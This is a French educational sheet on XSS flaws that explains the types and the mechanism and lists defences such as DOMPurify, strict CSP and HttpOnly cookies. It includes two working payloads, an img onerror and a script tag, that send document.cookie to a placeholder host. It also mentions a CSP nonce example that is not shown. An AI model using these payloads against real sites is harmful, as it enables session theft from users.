Faille XSS
Cross-Site Scripting : injecter du JavaScript dans la page d'un autre. Vol de session, défiguration, actions pirates.
Mécanisme
Une XSS survient quand une application réinjecte une entrée utilisateur dans le HTML sans échappement. Le navigateur exécute alors le code de l'attaquant dans le contexte du site victime : lecture de données, actions au nom de l'utilisateur, keylogging.
| Type | Où vit le payload | Exemple |
|---|---|---|
| Réfléchie | URL / réponse immédiate | Lien piégé |
| Stockée | Base de données | Commentaire vérolé |
| DOM-based | JS côté client | location.hash |
Exemple d'attaque
Deux cas très différents :
- Injection côté serveur : le commentaire est soudé tel quel dans le HTML renvoyé — un
<script>classique s'exécute au chargement de la page. - Injection via
innerHTML: attention, un<script>inséré ainsi ne s'exécute pas (c'est la spécification HTML). L'attaquant utilise un vecteur événementiel :
<!-- Commentaire attaquant, inséré via innerHTML -->
<img src="x" onerror="fetch('https://evil.ex/?c='+document.cookie)">
<!-- Variante serveur (soudée au HTML) : le script, lui, s'exécute -->
<script>fetch('https://evil.ex/?c='+document.cookie)</script>Parades
- textContent plutôt que innerHTML, systématiquement, pour insérer du texte.
- HTML riche indispensable (éditeur, commentaires formatés) ? Assainissez avec DOMPurify avant insertion — jamais de HTML brut.
- Méfiez-vous des trappes des frameworks :
dangerouslySetInnerHTML(React),v-html(Vue). L'échappement par défaut ne vous y protège pas. - CSP stricte :
script-srcavec nonces ou hashes, plus'strict-dynamic'(voir la fiche Content Security Policy). Un simple'self'ne suffit pas : contournable si un JavaScript téléversable existe sur votre domaine. (Ci-dessus,'nonce-r4nd0m'est un exemple : en production, nonce aléatoire d'au moins 128 bits, régénéré à chaque réponse.) - Auditez avec OWASP ZAP / Burp Suite en relisant chaque sink (
innerHTML,document.write,eval).
HttpOnly; Secure; SameSite=Lax. Cela bloque le vol via document.cookie — mais pas les actions exécutées au nom de la victime connectée.